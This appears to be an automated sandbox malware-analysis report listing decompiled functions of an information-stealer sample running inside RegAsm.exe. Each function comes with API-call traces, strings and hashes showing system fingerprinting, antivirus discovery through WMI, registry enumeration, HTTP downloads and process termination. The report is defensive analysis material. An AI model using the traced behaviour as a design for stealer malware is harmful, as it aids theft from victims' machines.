Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$H_prologlstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileOptionReadSend
String ID: !$"$"$------$------$------$build_id$hwid
API String ID: 1139859944-3346224549
Opcode ID: 15b485722b9c602a729ca5fa6ab806c4251012afa5fc40f7d4f12ac64c36a392
Instruction ID: 127932786617c287c74a1cf09914acf07e266ab5e26ab2cbaf5a59b4efe1ea99
Opcode Fuzzy Hash: 15b485722b9c602a729ca5fa6ab806c4251012afa5fc40f7d4f12ac64c36a392
Instruction Fuzzy Hash: FC2270B1800148EADB01EBE2C956EEEBBB9AF19304F1044AEE541731C2DF781B58DB75

Uniqueness

Uniqueness Score: -1.00%

Function 00406783 Relevance: 33.5, APIs: 22, Instructions: 511
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00406788

Part of subcall function 0040EB17: StrCmpCA.SHLWAPI(?,?,?,004067AA,?,00000000), ref: 0040EB20

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,?,00424BD0,?,?,?,00424BA6,?,00000000), ref: 004068F4

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 00410041: _EH_prolog.MSVCRT ref: 00410046
Part of subcall function 00410041: memset.MSVCRT ref: 00410068
Part of subcall function 00410041: OpenProcess.KERNEL32(00001001,00000000,?,?,00000000), ref: 004100EF
Part of subcall function 00410041: TerminateProcess.KERNEL32(00000000,00000000), ref: 004100FD
Part of subcall function 00410041: CloseHandle.KERNEL32(00000000), ref: 00410104

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00406AE6
RtlAllocateHeap.NTDLL(00000000), ref: 00406AED
lstrcat.KERNEL32(?,00000000), ref: 00406C0B
lstrcat.KERNEL32(?,00424BEC), ref: 00406C19
lstrcat.KERNEL32(?,00000000), ref: 00406C2B
lstrcat.KERNEL32(?,00424BF0), ref: 00406C39
lstrlenA.KERNEL32(?), ref: 00406D80
lstrlenA.KERNEL32(?), ref: 00406D8E

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00413452: _EH_prolog.MSVCRT ref: 00413457
Part of subcall function 00413452: CreateThread.KERNEL32(00000000,00000000,0041224D,?,00000000,00000000), ref: 004134FD
Part of subcall function 00413452: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00413505

memset.MSVCRT ref: 00406DE6
DeleteFileA.KERNEL32(00000000), ref: 00406E0B

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcat$lstrcpy$Processlstrlen$FileHeapmemset$AllocateCloseCopyCreateDeleteHandleObjectOpenSingleTerminateThreadWait
String ID:
API String ID: 4187064601-0
Opcode ID: 4d6e2d4a90ca7b1422deb661cb4dcf1ab7c7ff220bc24bca7bcae24a37c0bf1d
Instruction ID: f974eaa0e883c742969b18ff7bec121f05571edb8c267939f240b2802200c6b0
Opcode Fuzzy Hash: 4d6e2d4a90ca7b1422deb661cb4dcf1ab7c7ff220bc24bca7bcae24a37c0bf1d
Instruction Fuzzy Hash: 16226A71800158EADF05EBE6DD46EEEBB75AF25308F10447EF402721E2DB791A18DB26

Uniqueness

Uniqueness Score: -1.00%

Function 0040F7AB Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 146
memorycomtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040F7B0
CoInitializeEx.OLE32(00000000,00000000,?,?,?,?,?,?,0042555C,00000000,?,Work Dir: In memory,00000000,?,00425544,00000000), ref: 0040F7C0
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,?,0042555C), ref: 0040F7D1
CoCreateInstance.OLE32(00427238,00000000,00000001,00427168,?,?,?,?,?,?,?,0042555C,00000000,?,Work Dir: In memory,00000000), ref: 0040F7EB
CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,?,?,?,?,?,0042555C,00000000), ref: 0040F821
VariantInit.OLEAUT32(?), ref: 0040F87C

Part of subcall function 0040F711: CoCreateInstance.OLE32(00426FE8,00000000,00000001,004253C8,00000000,?), ref: 0040F731
Part of subcall function 0040F711: SysAllocString.OLEAUT32(00000000), ref: 0040F73F
Part of subcall function 0040F711: _wtoi64.MSVCRT ref: 0040F781
Part of subcall function 0040F711: SysFreeString.OLEAUT32(?), ref: 0040F796
Part of subcall function 0040F711: SysFreeString.OLEAUT32(00000000), ref: 0040F799

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,0042555C,00000000,?,Work Dir: In memory,00000000,?), ref: 0040F8B3
GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,?,?,?,0042555C,00000000,?,Work Dir: In memory,00000000,?), ref: 0040F8BF
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,0042555C,00000000,?,Work Dir: In memory,00000000,?,00425544), ref: 0040F8C6
VariantClear.OLEAUT32(?), ref: 0040F908
wsprintfA.USER32 ref: 0040F8F2

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Strings

Unknown, xrefs: 0040F910
Select * From Win32_OperatingSystem, xrefs: 0040F831
Unknown, xrefs: 0040F917
ROOT\CIMV2, xrefs: 0040F7FE
WQL, xrefs: 0040F836
InstallDate, xrefs: 0040F88E
%d/%d/%d %d:%d:%d, xrefs: 0040F8EC

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileH_prologInitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$WQL
API String ID: 3912155974-2016369993
Opcode ID: cde1aef8a58ec05b87e7774027964f1092df5234e1350f734217cdeff580d1fb
Instruction ID: 2dc42058d09157e3f2c07f1d508e01a304f20e6d96b8e9efb5375e9e764dae09
Opcode Fuzzy Hash: cde1aef8a58ec05b87e7774027964f1092df5234e1350f734217cdeff580d1fb
Instruction Fuzzy Hash: 02413971A01229BBCB20DB91DC49EEF7B7CEF49B50F504126F501B6190D7789A42CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00404F61 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 174
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00404F66

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 00403A76: _EH_prolog.MSVCRT ref: 00403A7B
Part of subcall function 00403A76: ??_U@YAPAXI@Z.MSVCRT ref: 00403AAD
Part of subcall function 00403A76: ??_U@YAPAXI@Z.MSVCRT ref: 00403AB6
Part of subcall function 00403A76: ??_U@YAPAXI@Z.MSVCRT ref: 00403ABF
Part of subcall function 00403A76: lstrlenA.KERNEL32(00000000,00000000,?,?,00000000,00000001), ref: 00403AD9
Part of subcall function 00403A76: InternetCrackUrlA.WININET(00000000,00000000,?,00000000), ref: 00403AE9

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404FC9
StrCmpCA.SHLWAPI(?), ref: 00404FDD
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405000
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405036
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 0040505A
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405065
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00405083
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00405109
InternetCloseHandle.WININET(00000000), ref: 00405114
InternetCloseHandle.WININET(?), ref: 0040511D
InternetCloseHandle.WININET(?), ref: 00405126

Strings

ERROR, xrefs: 00405177
GET, xrefs: 0040502E
ERROR, xrefs: 00405090

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$H_prologOpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 2435781452-2509457195
Opcode ID: 93153125e7438d58ff9cba7b8ea35b634658ba2396de2236ddff63bd3fa17882
Instruction ID: fd6fd6e4b06f01989823007b73563df8b6f364aab287b4db5e16c2b1118ff10a
Opcode Fuzzy Hash: 93153125e7438d58ff9cba7b8ea35b634658ba2396de2236ddff63bd3fa17882
Instruction Fuzzy Hash: DB518EB2900119AFEB10EBA1DC85FEFBBB9EB05344F10447AF601B6291D7785E44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040F934 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 116
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040F939
CoInitializeEx.OLE32(00000000,00000000,?,00000000,?,Work Dir: In memory,00000000,?,00425544,00000000,?,00000000), ref: 0040F949
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000000,?,Work Dir: In memory,00000000,?,00425544), ref: 0040F95A
CoCreateInstance.OLE32(00427238,00000000,00000001,00427168,?,?,00000000,?,Work Dir: In memory,00000000,?,00425544,00000000,?,00000000), ref: 0040F974
CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000000,?,Work Dir: In memory,00000000,?,00425544,00000000), ref: 0040F9AA
VariantInit.OLEAUT32(?), ref: 0040F9F9

Part of subcall function 0040FC78: LocalAlloc.KERNEL32(00000040,00000005,00000000,?,0040FA1F,?,?,00000000,?,Work Dir: In memory,00000000,?,00425544,00000000,?,00000000), ref: 0040FC80
Part of subcall function 0040FC78: CharToOemW.USER32(?,00000000), ref: 0040FC8C

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

VariantClear.OLEAUT32(?), ref: 0040FA2D

Strings

root\SecurityCenter2, xrefs: 0040F987
Select * From AntiVirusProduct, xrefs: 0040F9BA
WQL, xrefs: 0040F9BF
Unknown, xrefs: 0040FA3C
displayName, xrefs: 0040FA0B
Unknown, xrefs: 0040FA35

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateH_prologInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 3694693100-2776955613
Opcode ID: ed4488ffa682ee0fa871c8f16d3772de84693f4a5857c4c2691c105834dc0452
Instruction ID: 1e5a7d26c84cebbf14b8aab6c76a6b278336e03c3012eea7505825033b406ba3
Opcode Fuzzy Hash: ed4488ffa682ee0fa871c8f16d3772de84693f4a5857c4c2691c105834dc0452
Instruction Fuzzy Hash: 22313D71A01229BBCB20DB91DC49EEF7F78FF49760F50452AF505B6290C7B85642CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0BE Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 178registrystringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040F0C3

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0042520F,00000000,00000000), ref: 0040F10B
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 0040F155
wsprintfA.USER32 ref: 0040F17F
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 0040F19C
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 0040F1C6
lstrlenA.KERNEL32(?), ref: 0040F1DB
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,00000000,?,?,00000000,?,00425240), ref: 0040F25B

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Strings

%s\%s, xrefs: 0040F179
?, xrefs: 0040F101
- , xrefs: 0040F265

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: OpenQueryValuelstrcpy$EnumH_prologlstrlenwsprintf
String ID: - $%s\%s$?
API String ID: 404191982-3278919252
Opcode ID: c06cfcfae5a37de0842664defd792e232726c9a30beafe6f8d78b12eb778a3f4
Instruction ID: bc6ea1ab7ec491c9c8a763c8a3cf3f918ce4c176d8494a98fb0cea41cd146feb
Opcode Fuzzy Hash: c06cfcfae5a37de0842664defd792e232726c9a30beafe6f8d78b12eb778a3f4
Instruction Fuzzy Hash: 567104B580022DEEDF11DBA1CD84EEEBBBDBF18304F10457AE505B2191DB395A08CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040F52A Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 123memorystringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040F52F
GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,?,00000000), ref: 0040F552
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000), ref: 0040F584
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 0040F5C7
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 0040F5CE
wsprintfA.USER32 ref: 0040F5FA
lstrcat.KERNEL32(00000000,004251E8), ref: 0040F609

Part of subcall function 0040F4EF: GetCurrentHwProfileA.ADVAPI32(?), ref: 0040F500

lstrlenA.KERNEL32(00000000), ref: 0040F628

Part of subcall function 0041013F: malloc.MSVCRT ref: 0041014D
Part of subcall function 0041013F: strncpy.MSVCRT ref: 0041015D

lstrcat.KERNEL32(00000000,00000000), ref: 0040F655

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Strings

:\, xrefs: 0040F57A
C, xrefs: 0040F55C

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heaplstrcat$AllocCurrentDirectoryH_prologInformationProcessProfileVolumeWindowslstrcpylstrlenmallocstrncpywsprintf
String ID: :\$C
API String ID: 688099012-3309953409
Opcode ID: 0f2ae8ea9575aef42821af1430ad55aa2078cc07246cf39224e5c4fd927df027
Instruction ID: 9dfbfffdbf2ddaf657f2e54b89b70d54b85bf8aac276decc1d14e9baaa7bd669
Opcode Fuzzy Hash: 0f2ae8ea9575aef42821af1430ad55aa2078cc07246cf39224e5c4fd927df027
Instruction Fuzzy Hash: F0416A71C01118AACB11EBE6DD89DEFBBB9EF59704F10047EF901B3142DA384A09CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00412046 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 116stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041204B

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 00404F61: _EH_prolog.MSVCRT ref: 00404F66
Part of subcall function 00404F61: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404FC9
Part of subcall function 00404F61: StrCmpCA.SHLWAPI(?), ref: 00404FDD
Part of subcall function 00404F61: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405000
Part of subcall function 00404F61: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405036
Part of subcall function 00404F61: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 0040505A
Part of subcall function 00404F61: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405065
Part of subcall function 00404F61: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00405083

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004120CD
lstrlenA.KERNEL32(00000000), ref: 004120E4

Part of subcall function 0040FD58: LocalAlloc.KERNEL32(00000040,004120FA,00000001,00000000,?,004120F9,00000000,00000000), ref: 0040FD71

StrStrA.SHLWAPI(00000000,00000000), ref: 0041210B
lstrlenA.KERNEL32(00000000), ref: 00412120
lstrlenA.KERNEL32(00000000), ref: 0041213B

Strings

ERROR, xrefs: 0041216D
ERROR, xrefs: 004120BF
ERROR, xrefs: 0041214B
ERROR, xrefs: 0041215F
ERROR, xrefs: 00412166

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HttpInternetlstrcpylstrlen$H_prologOpenRequest$AllocConnectInfoLocalOptionQuerySend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3807055897-1526165396
Opcode ID: ac02564c219586449912e50da6d9ac6e3c745d53a9813d04f84db680ce203be5
Instruction ID: 66083b9e844cd680733755929d09a5d117d1feb15589e886b9e09f68fc8bf6fd
Opcode Fuzzy Hash: ac02564c219586449912e50da6d9ac6e3c745d53a9813d04f84db680ce203be5
Instruction Fuzzy Hash: 4641B6B1800258AACB11FBB2C946FEE7BB4AF15304F50446FF501B3282DB785F18C669

Uniqueness

Uniqueness Score: -1.00%

Function 00404E01 Relevance: 15.1, APIs: 10, Instructions: 116networkfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00404E06

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 00403A76: _EH_prolog.MSVCRT ref: 00403A7B
Part of subcall function 00403A76: ??_U@YAPAXI@Z.MSVCRT ref: 00403AAD
Part of subcall function 00403A76: ??_U@YAPAXI@Z.MSVCRT ref: 00403AB6
Part of subcall function 00403A76: ??_U@YAPAXI@Z.MSVCRT ref: 00403ABF
Part of subcall function 00403A76: lstrlenA.KERNEL32(00000000,00000000,?,?,00000000,00000001), ref: 00403AD9
Part of subcall function 00403A76: InternetCrackUrlA.WININET(00000000,00000000,?,00000000), ref: 00403AE9

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404E55
StrCmpCA.SHLWAPI(?), ref: 00404E6F
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,-00800100,00000000), ref: 00404E93
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404EB4
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00404EDB
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00404EFF
CloseHandle.KERNEL32(?,?,00000400), ref: 00404F19
InternetCloseHandle.WININET(00000000), ref: 00404F20
InternetCloseHandle.WININET(?), ref: 00404F29

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$H_prologOpen$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2737972104-0
Opcode ID: 789fadb869290a8cac76a952fa475ee3c379c0fd38a39066651882516cb048f3
Instruction ID: c30001f37dfef2ba3a62dc7abc4d62383111a9d041917fc10e11156dbfb6defe
Opcode Fuzzy Hash: 789fadb869290a8cac76a952fa475ee3c379c0fd38a39066651882516cb048f3
Instruction Fuzzy Hash: B4412BB1900219AFDB10EBA1DC86EEF7BBDEB45304F10443AF611B2191E7385A45DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD88 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334COMMON

Download Yara Rule

APIs

